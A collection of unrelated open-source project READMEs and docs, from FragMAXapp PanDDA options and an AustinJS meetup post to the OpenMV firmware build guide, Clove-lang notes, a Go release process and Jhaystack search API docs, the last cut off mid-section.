2. Use Cryo/DMSO datasets
    Datasets marked as _opt_ or _DMSO_ will be used to create the GSM
3. Reprocess using dataset without peaks in Z-map
    If a previous run is available, FragMAXapp will read the inspection log and use
    all datasets without any events to build the GSM
4. Opening the dataset selection in the top of the page (the same for cheery pick
datasets for processing) and marking datasets will send the selection to PanDDA. This
option will replace options 1, 2 or 3. To ignore this behaviour, please make sure the
box _Process all datasets_ is marked.

NOTE: For all these options, if there is not enough datasets to create the GSM, the selection
will be ingored and PanDDA will define the datasets by itself.
Users can overwrite this behaviour by changing the minimum number of datasets to build GSM.
This option is availble in the middle colum (PanDDA analysis options)
```

## PanDDA analyse

![](https://raw.githubusercontent.com/FragMAX/fragmax.github.io/master/assets/img/pandda0.png)

A slightly modified PanDDA HTML output is available, with options for checking the **Run log** and open the event maps

* Previous analysis are available in the tab, organised by date.
* To find the information from which method FragPLEX selected each dataset, the option _Selected datasets_ is availble.
    * In this tab, users will have a table with dataset name and path to the refined structure.
    * A plot with the cluster analyse generated using Giant scripts
* A dropdown menu on the top left-hand side displays all different methods analysed by PanDDA

![](https://raw.githubusercontent.com/FragMAX/fragmax.github.io/master/assets/img/pandda1.png)

![](https://raw.githubusercontent.com/FragMAX/fragmax.github.io/master/assets/img/pandda2.png)

## PanDDA inspections

![](https://raw.githubusercontent.com/FragMAX/fragmax.github.io/master/assets/img/pandda3.png)

For analyses that was already inspected by the user and saved, the inspection HTML will be available.

If more than one inspection was made (with different Processing + Refinement selections), FragMAXapp will summarise the results in the consensus page.

* Loading individual inspections is possible using the dropdown menu in the right-hand side.
* Selecting the checkboxes on the top of the page and clicking filter will recreate the consensus summary using only those pipelines.

## PanDDA event maps visualisation

![](https://raw.githubusercontent.com/FragMAX/fragmax.github.io/master/assets/img/pandda5.png)

Opening the results from PanDDA will show a different interactive control bar than from regular results.

In this page, two mas will be loaded side-by-side: Event map and Average map. This is helpful to check if the density of the event is also present in the average model, reducing the amount of false positive results annotation.

* It is possible to load the input mtz (retrieved from the _Structure Refinement_ method).
* PanDDA inspection annotation made during modelling is displayed and allows ammeneds.


text:
---
title: "Anton Astashov and Elm"
author: aaron
layout: post
categories:
- posts
- meetups
when: 2016-04-19T19:30:00-05:00
---

{% assign speakr = 'Anton Astashov' %}
{% assign twiturl = 'https://twitter.com/anton_astashov' %}
{% assign huburl = 'https://github.com/astashov/' %}
{% assign sponsurl = 'https://auth0.com/' %}

It's April, so let's shake off our collective SXSW hangovers 🍻 (or maybe emerge from our SXSW bunkers ☢) and get together on <x-date>{{ site.categories.meetups[0].when | date_to_xmlschema }}</x-date> for another great AustinJS!

We'll be hearing from {{ speakr }} about Elm, a transpiled-to-JavaScript language which makes sure you’ll never have a runtime error in your app. Almost. He'll cover why it’s cool, what it looks like, it’s pros and (most importantly) cons!

  {{ speakr }}

  is a real-deal code slinger based in Austin and
  currently working at Mixbook.com.

Thanks so much to [Frog][] for graciously hosting us this month! If you have pizza or a drink, be sure to find someone from [Auth0][] to say thanks.

{% include give-em-the-business.html %}

[Frog]: http://www.frogdesign.com/contact/austin.html
[Auth0]: {{ sponsurl }}


text:
SectionedAdapter
======================

Android component which Google Play use. Work with [MergeAdapter](https://github.com/commonsguy/cwac-merge), it can implement the page of app detail information in Google Play.

see: http://blog.lytsing.org/archives/456.html

License
-------

This project is licensed under the [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0).

repository: lytsing/SectionedAdapter

repo_name: lytsing/SectionedAdapter


text:
# MIGRATE Command - Node Version Switcher

    nvs migrate <sourceversion> [targetversion]

Migrates globally-installed and globally-linked modules from a source node version to a target node version. Note this ignores any configuration (NPM_CONFIG_PREFIX environment variable or prefix setting in the user's npmrc) that might override the global modules directory location, because that configuration would apply apply to both versions and therefore no migration would be necessary or possible.

The source and target versions must refer to previously-added node versions. The target version optional; if unspecified then the currently used version is the target.

repository: jasongin/nvs

gha_language: JavaScript

gha_license_id: NOASSERTION

repo_name: jasongin/nvs


text:
# Clove-lang

Clove is an interpreted, dynamically typed, general-purpose programming language implemented in Java, based on [Sili](https://github.com/DaveVoorhis/LDI/tree/master/Sili). The grammar defined in [JavaCC](https://javacc.org) with [JJTree](https://javacc.org/jjtree). It is primarily a procedural language, but has functional programming features, such as lambda expressions, and the programs can be composed in ways that utilise the declarative paradigm. The language allows for defining immutable primitive values, but compound structures, such as lists, can still be changed, but not reassigned; otherwise, all values are mutable.

The language implements a wrapper around [Java Reflection](https://www.oracle.com/technetwork/articles/java/javareflection-1536171.html), which allows for arbitrary programs to be written with Clove, without relying solely on the implemented functionalities.

_A more detailed specification of the language can be found [here](https://github.com/amrwc/Clove-lang/tree/master/Clove-lang-spec/Clove-lang.pdf)._

## Feature ideas

- Expressions
  - [ ] ternary operator,
  - [ ] null support
    - `if (result == null)…`,
    - ValueNull?,
    - currently, if the R-value resolves to `null`, an empty ValueString `("")` is returned,
  - [x] modulo compound assignment operator
    - `%=`,
  - [ ] root function (nth root)
    - `sqrt()`,
    - `root(9, 2)` (root of 9, degree 2)
      - [identities and properties](https://en.wikipedia.org/wiki/Nth_root#Identities_and_properties).
- Statements
  - [ ] switch,
  - [ ] do-while,
  - [ ] make the operations/actions in a for-loop optional
    - to allow for loops such as `for(;;)`,
  - [ ] break,
  - [ ] continue,
  - [ ] chain of declarations/definitions
    - `const v1, v2, v3 = 10, v4 = 'word'`,
  - [ ] global variable definition from any scope
    - `global result = 10`,
    - it would be available anywhere until the end of the program, even in the outside scope,
    - why: in a deep scope when a condition is met, define a global variable that will be accessible from anywhere, so it doesn't have to be declared beforehand,
  - [ ] Java code literals
    - Java code wrapped in backticks (or other symbols) that is run in place,
    - `` `System.out.println(“bob”);` ``,
    - Compiler API,
    - how would it interact with the already defined code?
- Functions
  - [ ] default parameter values
    - `function(param1 = 'default string', param2 = 10) {}`.
- Prototype functions
  - [x] size/length,
  - [x] keys
        — returns a ValueList of object’s keys,
  - [x] shift,
  - [x] push, pop
        — imitate stack with lists/arrays.
- Types
  - [ ] ValueTuple,
  - [x] break ValueRational into ValueFloat and ValueDouble,
  - [x] break ValueInteger into ValueInteger and ValueLong.

## Known bugs

- [ ] Variables defined during recursion
  - Variables defined inside a FunctionInvocation are being found deeper in the recursion, therefore, they throw ‘variable already defined’ error.
  - The workaround is to modify variables defined outside of the outermost FunctionDefinition – before the recursion starts.
- [ ] Higher-order functions

  - When an anonymous function is passed to any FunctionDefinition, the argument (callback function) works correctly only on the first occurrence. Subsequent calls to the first argument of the function will result in calling the argument first used, regardless of the new declaration.

  ```JavaScript
  function repeat(n, action) {
    for (let i = 0; i < n; i++)
      action(i)
  }

  const list = []
  repeat(8, (n) => { // This anonymous function...
    list->append(n)
  })
  log(list) // [0, 1, 2, 3, 4, 5, 6, 7]

  const str = "text"
  repeat(3, (x) => { // ...is still remembered here.
    log(x, str) // Never done.
  })
  log(list) // [0, 1, 2, 3, 4, 5, 6, 7, 0, 1, 2]
  ```

- [ ] Return statements in a nested block
  - A function's return statement cannot be inside of a different node. I.e. it must be in the function's body, not in an if-statement, not in a loop, etc.
  - Why: return statement is not defined as a statement, but is optionally expected inside of function definition.
  - To solve it, return statement would have to be defined as a sole statement and accounted for inside of ASTFunctionDefinition node. I.e. the whole AST inside of function definition would have to be searched for a return statement and evaluate it if it exists.
  ```JavaScript
  function max(x, y) {
    if (x > y) return x; // Error
    else if (x < y) return y;
    else return 0;
  }
  ```

repository: amrwc/clove-lang

gha_language: Java

repo_name: amrwc/clove-lang


text:
# Building the Firmware From Source

This guide covers installing a development environment and building the OpenMV firmware from source on Linux.
For information on OpenMV Camera general usage, please see the [forums](http://openmv.io/forums) or [docs](http://openmv.io/docs).
- [Docker Build](#docker-build)
- [Linux Build](#linux-build)
  * [Install build dependencies](#install-build-dependencies)
  * [Install GNU ARM toolchain](#install-gnu-arm-toolchain)
  * [Clone the repository](#clone-the-repository)
    + [Shallow clone](#shallow-clone)
  * [Build the firmware](#build-the-firmware)
    + [Build artifacts](#build-artifacts)
    + [Notes on building the firmware in a Virtual Machine](#notes-on-building-the-firmware-in-a-virtual-machine)
- [Windows Build](#windows-build)
- [Mac Build](#mac-build)
- [Flashing the Firmware](#flashing-the-firmware)
- [The OpenMV bootloader](#the-openmv-bootloader)
    + [Note about STM32 DFU bootloader](#note-about-stm32-dfu-bootloader)

## Docker Build

The easiest way to build the firmware from source is to use the docker image. To build the firmware using docker, follow these steps:

```bash
git clone https://github.com/openmv/openmv.git --depth=50
cd openmv/docker
make TARGET=<TARGET_NAME>
```

When the firmware build is done, the build artifacts should be located in `docker/build/<TARGET_NAME>`.
> Note: `TARGET_NAME` is one of the [supported boards](https://github.com/openmv/openmv/tree/master/src/omv/boards).

## Linux Build

### Install build dependencies
Install the following packages or their equivalents based on your distro:
```bash
sudo apt-get update
sudo apt-get install git build-essential
```

### Install GNU ARM toolchain
This step can be skipped if your distro package manager provides an ARM toolchain, however this is the gcc toolchain currently in use by the developers. Note the following commands install the toolchain to `/usr/local/arm-none-eabi` and then add it to the PATH variable, for the current terminal session. The toolchain will need to be added to the PATH again if a new terminal session is started. Note the toolchain can be installed in any other location as long as it's added to the PATH.
```
TOOLCHAIN_PATH=/usr/local/arm-none-eabi
TOOLCHAIN_URL="https://armkeil.blob.core.windows.net/developer/Files/downloads/gnu-rm/10-2020q4/gcc-arm-none-eabi-10-2020-q4-major-x86_64-linux.tar.bz2"
sudo mkdir ${TOOLCHAIN_PATH}
wget --no-check-certificate -O - ${TOOLCHAIN_URL} | sudo tar --strip-components=1 -jx -C ${TOOLCHAIN_PATH}
export PATH=${TOOLCHAIN_PATH}/bin:${PATH}
```

### Clone the repository
To clone the OpenMV GitHub repository, run the following command:
```bash
git clone --recursive https://github.com/openmv/openmv.git
```

#### Shallow clone
The above command will clone this repository along with all of its submodules recursively, which may take a very long time to finish. Alternatively, you can make a shallow clone of the repository with the following commands:
```bash
git clone --depth=1 https://github.com/openmv/openmv.git
cd openmv
git submodule update --init --depth=1 --no-single-branch
git -C src/micropython/ submodule update --init --depth=1
```

### Build the firmware
To build the firmware, run the following commands inside the openmv repository:
```bash
cd openmv
make -j$(nproc) -C src/micropython/mpy-cross   # Builds Micropython mpy cross-compiler
make -j$(nproc) TARGET=<TRAGET_NAME> -C src    # Builds the OpenMV firmware
```

> Note: `TARGET_NAME` is one of the [supported boards](https://github.com/openmv/openmv/tree/master/src/omv/boards).

### Build artifacts
When the firmware build is done, the build artifacts should be located in `src/build/bin`. Note the build artifacts depend on the target board, for example whether a bootloader or UVC binaries are generated or not depends on the target board's configuration. However, generally speaking the following files are generated:
```
* bootloader.bin  # Bootloader Binary Image (not directly used)
* bootloader.dfu  # Bootloader DFU Image (not directly used)
* bootloader.elf  # Bootloader ELF Image (used to generate the BIN/DFU Files)
* firmware.bin    # Firmware Binary Image (Used by `Tools->Run Bootloader` in OpenMV IDE)
* firmware.dfu    # Firmware DFU Image (not directly used)
* firmware.elf    # Firmware ELF Image (used to generate the BIN/DFU Files)
* openmv.bin      # Combined Bootloader+Firmware Binary Image (not directly used)
* openmv.dfu      # Combined Bootloader+Firmware DFU Image (Used by `Tools->Run Bootloader` in OpenMV IDE)
* uvc.bin         # Alternative UVC Binary Image (not directly used)
* uvc.dfu         # Alternative UVC DFU Image (not directly used)
* uvc.elf         # Alternative UVC ELF Image (used to generate the BIN/DFU Files)
```

### Notes on building the firmware in a Virtual Machine
* When building the firmware inside of a Linux Virtual Machine, shared folders should be used to make the `src/build/bin` folder inside the VM available to the host OS. If using VMware, this can be done by going to `Player->Manage -> Virtual Machine Settings -> Options -> Shared Folders` and adding a shared folder named `shared` on the host OS. The shared folder will appear in Linux (for Ubuntu) under `/mnt/hgfs/shared/`. Any files copied to that path appear in the host OS inside of the shared folder. To copy firmware after the build into that folder run `mv build/bin/* /mnt/hgfs/shared/`.

* OpenMV IDE's bootloader will have trouble connecting to your OpenMV Cam from inside of a virtual machine. You can download OpenMV IDE [here](https://openmv.io/pages/download). *To be clear, OpenMV IDE can connect to an OpenMV Cam from inside of a virtual machine, however OpenMV IDE's bootloader needs to connect to the OpenMV Cam using a timing critical handshake that generally fails when you introduce moving USB devices around between the Host OS and a Virtual Machine*.

## Windows Build

There is no Windows development environment. It is very difficult to install the toolchain on Windows. Instead you can install Ubuntu on a virtual machine running on your windows machine:

1. You can get VMware Player (free) [here](https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/15_0) to run Ubuntu. Or, you can get VirtualBox (free) [here](https://www.virtualbox.org/wiki/Downloads). VMware Player is recommended.
2. Download Ubuntu [here](http://www.ubuntu.com/desktop). Then use whatever virtual machine software you installed to install the operating system. VMware Player makes this easy with a automated install option where it will install everything for you without you having to do anything other than enter your name and password initially.
3. Install any updates, etc. for your operating system. Also, if you're using VMware Player make sure to install VMware Tools so you can drag and drop files between your Windows desktop and Ubuntu desktop along with being able to setup shared folders.

## Mac Build

There is no Mac development environment. It is very difficult to install the toolchain on Mac. Instead you can install Ubuntu on a virtual machine running on your Mac machine:

1. You can get VMware Fusion (paid) [here](https://www.vmware.com/products/fusion/) to run Ubuntu. Or, you can get VirtualBox (free) [here](https://www.virtualbox.org/wiki/Downloads). VMware Fusion is recommended.
2. Download Ubuntu [here](http://www.ubuntu.com/desktop). Then use whatever virtual machine software you installed to install the operating system. VMware Fusion makes this easy with a automated install option where it will install everything for you without you having to do anything other than enter your name and password initially.
3. Install any updates, etc. for your operating system. Also, if you're using VMware Fusion make sure to install VMware Tools so you can drag and drop files between your Mac desktop and Ubuntu desktop along with being able to setup shared folders.

## Flashing the firmware
To update the OpenMV camera with the newly built firmware, install the [OpenMV IDE](https://openmv.io/pages/download) and upload the `firmware.bin` file to the OpenMV camera using the builtin bootloader from `Tools->Run Bootloader` in OpenMV IDE. Please make sure to only load firmware meant for your model of the OpenMV camera onto it. The IDE does not check this if the firmware matches the camera model. If the wrong firmware is uploaded accidentally the camera will like just crash without being damaged. The OpenMV camera can be recovered by using the bootloader again to load the correct `firmware.bin`.

Note: If you are installing OpenMV IDE on Linux please make sure to follow the `README.txt` file in the IDE install dir to complete any post-installation steps like setting up `udev` and `dialout` permissions.

## The OpenMV bootloader

OpenMV cameras come preloaded with a bootloader from the factory. The OpenMV IDE communicates with the bootloader to load new firmware images over USB. There shouldn't be a need to upload a `bootloader.*` firmware onto an OpenMV camera unless modifying the bootloader itself. Note that the bootloader can't overwrite itself, if the bootloader is overwritten somehow, DFU can be used to recover the OpenMV camera by load `bootloader.dfu` image. The `bootloader.dfu` DFU image can be loaded using OpenMV IDE using `Tools->Run Bootloader`. When passed a DFU file OpenMV IDE automatically invokes `dfu-util` to program your OpenMV Cam versus using our custom bootloader.

### Note about STM32 DFU bootloader

The latest STM32 devices (e.g. the OpenMV Cam H7 Plus) do not support loading large binary images over DFU currently. However, you are able to still load the `bootloader.dfu` file on these devices which can then be used to load the `firmware.bin` file using OpenMV IDE.

repository: openmv/openmv

gha_language: C

repo_name: openmv/openmv


text:
---
title: Putting it all together
template: chapter.html
---

# Putting it all together

The only thing missing now is the creation of the application itself. Modify the `app/main.js` file to look like this:

```javascript
//region configure requirejs to load jide.js library
require.config({
    "baseUrl": '.',
    "packages": [{
        name: 'jidejs',
        location: './bower_components/jidejs/jidejs'
    }, {
        name: 'app',
        location: './app'
    }],
    paths: {
        text: './bower_components/requirejs-text/text'
    }
});
//endregion

require([
    'model/Task',
    './TodoApp'
], function(
    Task, TodoApp
) {
    var app = new TodoApp({
        tasks: [
            new Task('Learn jide.js'),
            new Task('...'),
            new Task('Profit!')
        ]
    });
    document.body.appendChild(app.element);
});
```

If you take a look at your browser, you should see your application. You'll probably want to add some CSS rules to
`style/app.less` to make the app look better.

Once you're done, you can compile your app for distribution by running

```
grunt build
```

You can find the optimized app in the `build` directory of your project.

repository: modulexcite/jidejs

repo_name: modulexcite/jidejs


text:
This sample app uses Spring For Android Auth to interact with the user Google profile.

![Screenshot](https://raw.github.com/anthonydahanne/spring-for-android-starter-book/master/spring-for-android-ch4-oauth-google/screenshot1.png "Screenshot")

![Screenshot](https://raw.github.com/anthonydahanne/spring-for-android-starter-book/master/spring-for-android-ch4-oauth-google/screenshot2.png "Screenshot")

![Screenshot](https://raw.github.com/anthonydahanne/spring-for-android-starter-book/master/spring-for-android-ch4-oauth-google/screenshot3.png "Screenshot")

![Screenshot](https://raw.github.com/anthonydahanne/spring-for-android-starter-book/master/spring-for-android-ch4-oauth-google/screenshot4.png "Screenshot")

![Screenshot](https://raw.github.com/anthonydahanne/spring-for-android-starter-book/master/spring-for-android-ch4-oauth-google/screenshot5.png "Screenshot")

### Dependencies :
* spring-android-rest-template-1.0.0.RELEASE.jar
* spring-android-core-1.0.0.RELEASE.jar
* jackson-mapper-asl-1.9.10.jar
* jackson-core-asl-1.9.10.jar
* spring-social-google-1.0.0.M1.jar
* spring-android-auth-1.0.0.RELEASE.jar
* spring-security-crypto-3.1.0.RELEASE.jar
* spring-social-core-1.0.2.RELEASE.jar


text:
Exo implements a display server on top of the Aura Shell. It uses the
[Wayland protocol](https://wayland.freedesktop.org/docs/html/)
to communicate with clients. For a general introduction to Wayland see
https://wayland-book.com/.

Current clients of Exo include:

* ARC++ (Android apps on Chrome OS)
* Crostini (Linux apps on Chrome OS)
* [Lacros](https://chromium.googlesource.com/chromium/src/+/main/docs/lacros.md)
* PluginVM

In addition to the core Wayland protocol, Exo supports a number of protocol
extensions. Some are third-party; see
[//third_party/wayland-protocols/README.chromium](https://chromium.googlesource.com/chromium/src/+/main/third_party/wayland-protocols/README.chromium).
Others are Chromium-specific.

A few noteworthy extensions (this list is not at all exhaustive):

* zaura_shell
  * A Chromium-specific protocol used by all Exo clients. See
    [//components/exo/wayland/protocol/aura-shell.xml](wayland/protocol/aura-shell.xml)
    and [//components/exo/wayland/zaura_shell.h](wayland/zaura_shell.h)
* zcr_remote_shell
  * A Chromium-specific protocol used exclusively by ARC++. See
    [//components/exo/wayland/zcr_remote_shell.h](wayland/zcr_remote_shell.h) and
    [//components/exo/client_controlled_shell_surface.h](client_controlled_shell_surface.h)
* zwp_fullscreen_shell
  * A third-party protocol, used in Chromium only by Chromecast. See
    [//components/exo/wayland/zwp_fullscreen_shell.h](wayland/zwp_fullscreen_shell.h)

repository: chromium/chromium

repo_name: chromium/chromium


text:
# _Nutrition Facts_

#### Recreate a nutrition facts table.

#### By _**Mao Thygesen and Steve Kinney **_

## Description

This table was meant to practice selectors and pseudo-classes by styling the nutritional facts.

## Setup/Installation Requirements

* `git clone <https://github.com/mthygesen2/CSS-nutrition-facts.git>` this repository
* Open index.html in a browser of you choice

## Technologies Used

HTML, CSS

### License

*MIT*

Copyright (c) 2016 **_Mao Thygesen and Steve Kinney _**


text:
# Dependencies

## External

- containers: "efficient general-purpose implementations of various basic immutable container types"
- directory: "basic set of operations for manipulating files and directories in a portable way"
- json
- mtl: "Monad classes using functional dependencies, with instances for various monad transformers"
- parsec: "industrial-strength parser library. It is simple, safe, well documented (on the package homepage), has extensive libraries, good error messages, and is fast"
- QuickCheck: "random testing of program properties"
- regex-tdfa: "A new all Haskell tagged DFA regex engine, inspired by libtre"

repository: igncp/sandbox

repo_name: igncp/sandbox


text:
# KR Team Documentation

Welcome, Earthling!

If you are reading this, you likely expressed interest (or soon will?) in joining the Kenneth Reitz GitHub organization.

There are two basic levels of membership:

- Contributors
- Ambassadors (and those in training)

Ambassador == has the authority to act on Kenneth Reitz's behalf, effectively

This documentation aims to enable Ambassadors to be successful in their role, as ambassadors for Kenneth Reitz software.


text:
# Release Process

## Pre-Release

Update go.mod for submodules to depend on the new release which will happen in the next step.

1. Run the pre-release script. It creates a branch `pre_release_<new tag>` that will contain all release changes.

    ```sh
    ./pre_release.sh -t <new tag>
    ```

2. Update [CHANGELOG.md](CHANGELOG.md) with new the new release.

3. Push the changes to upstream and create a Pull Request on GitHub.

## Release

Once the Pull Request with all the version changes has been approved and merged it is time to tag the merged commit.

***IMPORTANT***: It is critical you use the same tag that you used in the Pre-Release step!
Failure to do so will leave things in a broken state.

***IMPORTANT***: [There is currently no way to remove an incorrectly tagged version of a Go module](https://github.com/golang/go/issues/34189).
It is critical you make sure the version you push upstream is correct.
[Failure to do so will lead to minor emergencies and tough to work around](https://github.com/open-telemetry/opentelemetry-go/issues/331).

1. Run on the main branch for the merged Pull Request.

    ```sh
    make add-tag tag=<new tag>
    ```

2. Push tags to the upstream remote (not your fork): `github.com/signalfx/signalfx-go-tracing.git`.

    ```sh
    make push-tag tag=<new tag> remote=upstream
    ```

3. Create a Release for the new `<new tag>` on GitHub. The release body should include all the release notes for this release taken from [CHANGELOG.md](CHANGELOG.md#Unreleased).

4. Publish the new version to `pkg.go.dev`.

    ```sh
    make publish-godoc tag=<new tag>
    ```

repository: signalfx/signalfx-go-tracing

repo_name: signalfx/signalfx-go-tracing


text:
# Towards Real-Time Simulation of Human Skin Appearance

Implemented by Ruth Holness using GPSnoopy's code as a framework.

## Gallery

## Benchmarking

Command line arguments can be used to control various aspects of the application. Use `--help` to see all modes and arguments. For example, to run the ray tracer in benchmark mode in 2560x1440 fullscreen for scene #1:
```
> RayTracer.exe --benchmark --width 2560 --height 1440 --fullscreen --scene 1
```
To benchmark all the scenes, starting from scene #1:
```
> RayTracer.exe --benchmark --width 2560 --height 1440 --fullscreen --scene 1 --next-scenes
```
Here are the results with the command above on a few different computers using NVIDIA drivers 436.48 and Release 4 of the RayTracer.

| Platform | Scene 1 | Scene 2 | Scene 3 | Scene 4 | Scene 5 |
| --- | ---: | ---: | ---: | ---: | ---: |
| GeForce RTX 2080 Ti | 36.1 fps | 35.7 fps | 19.9 fps | 54.9 fps | 15.1 fps |
| GeForce RTX 2070 | 19.9 fps | 19.9 fps | 11.7 fps | 30.4 fps | 9.5 fps |
| GeForce GTX 1080 Ti | 3.4 fps | 3.4 fps | 1.9 fps | 3.8 fps | 1.3 fps |

## Building

Most of the third party dependencies can be built using [Microsoft's vcpkg](https://github.com/Microsoft/vcpkg).

**Windows (Visual Studio 2019 x64 solution)** [![Windows CI Status](https://github.com/GPSnoopy/RayTracingInVulkan/workflows/Windows%20CI/badge.svg)](https://github.com/GPSnoopy/RayTracingInVulkan/actions?query=workflow%3A%22Windows+CI%22)
```
> vcpkg_windows.bat
> build_windows.bat
```
vcpkg_windows.bat fails on H drive (why, I don't know) => need to run on C drive and copy over.
build_windows.bat fails first time as it gives the error
```Unable to open check cache file for write. .../RayTracingInVulkan/build/windows/CMakeFiles/CMakeTmp/CMakeFiles/cmake.check_cache```
Creating a file with that name in that location (can copy the one from ```.../RayTracingInVulkan/build/windows/CMakeFiles/```) fixes this and it will build.

**Linux (GCC 8 Makefile)** [![Linux CI Status](https://github.com/GPSnoopy/RayTracingInVulkan/workflows/Linux%20CI/badge.svg)](https://github.com/GPSnoopy/RayTracingInVulkan/actions?query=workflow%3A%22Linux+CI%22)
```
> sudo apt-get install curl unzip tar libxi-dev libxinerama-dev libxcursor-dev
> ./vcpkg_linux.sh
> ./build_linux.sh
```

Assuming you have installed the [Vulkan SDK](https://vulkan.lunarg.com/), the build should work out-of-the box for Visual Studio. On Linux, you may have to manually install additional dependencies for `vcpkg_linux.sh` to succeed.

repository: holnesruth/RayTracingInVulkan

repo_name: holnesruth/RayTracingInVulkan


text:
# TXTADVNTR

This project was a joint effort between two teams. Our end goal was to create a dungeon crawler text adventure game from scratch. Each team had their own task, the team consisting of Bram Kreulen and Nando Witte would focus on the shell script in which the game would be played. The team consisting of Maurits would focus on generating the map that would be played on.

## The Shell Script:

The Shell Script is the game itself. It uses a map generated by the Dungeon Generator. You, the user, can explore the map by typing simple commands such as “Go left”. In the dungeon you will encounter monsters, loot and rooms.

## The Dungeon Generation:

product: code capable of creating a 2d dungeon crawler map.
The map has to abide to certain rules and has been scripted to be rendered in a specific way. There are 3 by 3 rooms generated throughout the map. After this a road is tunneled through the entire map starting from the middle. All rooms try to connect to the road with one or two entranvces. Rooms have a higher chance of containing loot and monsters. This map is then forwarded to the Shell Script.

##  Installation

For this game you will need to be on a system that runs Windows. THIS IS VERY IMPORTANT. Secondly you will need to install Python. Lastly you need to install the library curses. You can do this by entering the command:

    pip install curses

Now just run the game and you can play it!

repository: Bluerberry/Txtadvntr

repo_name: Bluerberry/Txtadvntr


text:
# Simple QR Generator

This is a simple QR Code Generator using Python Flask

## Install requirements
To run this project, you need to install the requirements.

```bash
pip3 install -r requirements.txt
```

## Run App
After installing the requirement you can run the project using

```bash
python3 app.py
```

### __Home Page__
![Home Page](img/Home.png)

### __Result__
![Result Page](img/result.png)


text:
# NDS card gadgets

A collection of bits and bobs, mostly exploiting the SPI bus of the DS/3DS cartridge slot.

## Devices
* `host_card`: A simple breakout cartridge that connects the cartridge slot to a ribbon cable
* `expansion_and_socket_card`: Another simple breakout, which exposes a mostly Arduino-compatible header, along with an extra header to attach a logic analyzer to, and an extra cartridge socket
* `hub75_extension`: A signal routing board to attach HUB75 LED panels in a variety of different topologies to the DS
* `usb_card`: Ever wondered what happened if you attached a MAX3421e to a DS? This.

## Todo:
* [ ] Re-layout the HUB75 board
* [ ] Add ESD diodes to the host card


text:
# watsonwork-bot-seed

A starter project for creating bots with Watson Work Services.

## developing

The starter will take care of things like setting up Express, handling the webhooks, and ignoring messages from your application.  You can insert your code inside the following convenience functions:
+ messageCreated
+ spaceMembersAdded
+ spaceMembersRemoved
+ messageAnnotationAdded
+ messageAnnotationEdited
+ messageAnnotationRemoved

You can also reuse helper functions:
+ respond

An example todo-bot has been included to demonstrate additional functionality.

## installation and usage

1. Go to [Register an App](https://workspace.ibm.com/developer/apps) page.
2. On the left, enter the `App Name` and the `Description of App`.
3. Click on `Add an outbound webhook`.
4. Give the webhook a name (any name will do) and select any of the webhooks. This is how we'll listen to messages in a space.
5. In the callback URL, specify the URL for your app, eg. `http://my-sample.mybluemix.net/webhook`.
6. Click on `Register app`
7. This will give you the App ID, App secret, and Webhook secret. You *need to save* these to environment variables called `APP_ID`, `APP_SECRET`, and `WEBHOOK_SECRET` respectively.  Or use them directly in your code.
8. Follow the instructions in [Authorize an App](https://workspace.ibm.com/developer/docs) to add the app to a space.
9. Type an action in the space, eg. 'We need to set up a meeting with Van'.


text:
# FileService.MoveAsync method

Move a file within root

```csharp
public Task<IFileMetaData> MoveAsync(string fileName, string oldFileType, string newFileType,
    bool throwOnException = true, bool throwOnNotFound = true)
```

| parameter | description |
| --- | --- |
| fileName | Name of the file |
| oldFileType | The current Type of the file |
| newFileType | The new Type of the file |
| throwOnException | Indicates whether an Exception should be thrown upon errors. Default:true |
| throwOnNotFound | Indicates whether an Exeption should be thrown if the file is not found.Default:true |

## Return Value

IFileMetaData

## See Also

* class [FileService](../FileService.md)
* namespace [DotNetOpen.FileService](../../DotNetOpen.FileService.md)

<!-- DO NOT EDIT: generated by xmldocmd for DotNetOpen.FileService.dll -->

gha_language: C#


text:
### `.outputOpenPageCode()`
Output to the console a code snippet to view the page HTML

The code snippet should be pasted into a browser console. When that code
snippet is pasted, a new tab will open with the HTML of the page at that point
in the test.

repository: Adzz/react-page-object

repo_name: Adzz/react-page-object


text:
# Twitter Sentiment Analysis Tool
Hello! Welcome to my project. In this tool, we'll take your input (either a Username or Hashtag), run it through my script, and output an easy-to-read analysis of the Twitter content, word usage, and general sentiment (i.e. "Positive" or "Negative"). Let's get started!

## Installation

 1. Fork this GitHub repository.
 2. Open the repository and then open within your command prompt of choice (e.g. Git Bash, Terminal).
 3. Create the Twitter environment: **conda create -n env-twitterfree python=3.7 #**
 4. Activate the Twitter environment: **conda activate env-twitterfree**
 5. Install the required packages: **pip install -r requirements.txt** *(Note: if you encounter any issues of missing packages, please review list of imports at top of twitterfree.py script and ensure all are installed.)*
 6. Create a .env file with your Twitter API credentials (if you do not yet have one, apply at https://developer.twitter.com/). Variables are: CONSUMER_KEY, CONSUMER_SECRET, API_TOKEN, API_SECRET.
 7. Run the script: **python twitterfree.py** (that's it, you're done!)

## Requirements

Other than a connection to the Internet, Python (Anaconda package in order to follow above directions), and a terminal/command prompt tool, none!

## Data Directory
Upon running this script, a folder in your installation directory will be created called ".../data/," in which script exports will be stored (.PDF file of charts and .XLSX file of pulled data [5 tabs]). You may freely delete its contents without affecting the script.

*Note: The charts/data will be automatically exported after each run. To disable, simply comment out all code beginning on line 516 ("CHARTS & EXPORTS"). That will have no adverse impact on the script, but will prevent any data being saved locally.*

repository: Zach-Diamond/twitter-free

repo_name: Zach-Diamond/twitter-free


text:
# Search API

## Basics

Jhaystack has a few different types of search functions, each with a different purpose. Below is a description of the functions, what options they accept, and how to use them.

## Queries (and / or)

Jhaystack supports queries. A query is an array of "AND" strings, "OR" strings, and search criteria statements, as well as inner arrays of these that are equivalent to a parenthesis.

For example, a query might look something like this:

- [criteriaX, "AND", criteriaY, "AND", criteriaN]
- [criteriaX, "OR", criteriaY, "OR", criteriaN]
- [criteriaX, "AND", [criteriaY, "OR", criteriaZ], "AND", criteriaN]
- [criteriaX, "AND", [criteriaY, "AND", criteriaZ], "OR", criteriaN]

A criteria describes an operation that acts as a filters for the result. Each operation takes the result from the former operation and filters it down further, until either the result is empty, or all criteria have been met.

A criteria is an object. There are three types of criteria that can be specified. Each criteria has a mandatory type property, as well as an optional cost property. The type property describes what type of criteria it is, and the optional cost property can be used to override Jhaystack's internal query planner's cost computation by providing your own cost. Generally, the internally computed cost will never go below 0, nor above 1000. A lower number means the operation should be executed sooner in the chain, and a higher number means it should be executed later in the chain.

> ### Cluster Criteria

Cluster criteria queries a cluster with a given set of options. If the query is specified as a filter for a search operation (search() and fulltext(), see below) then the document passed to the evaluation function will be based on the provided search value. Otherwise no document will be passed.

To execute a cluster criteria, specify "type: 'cluster'"

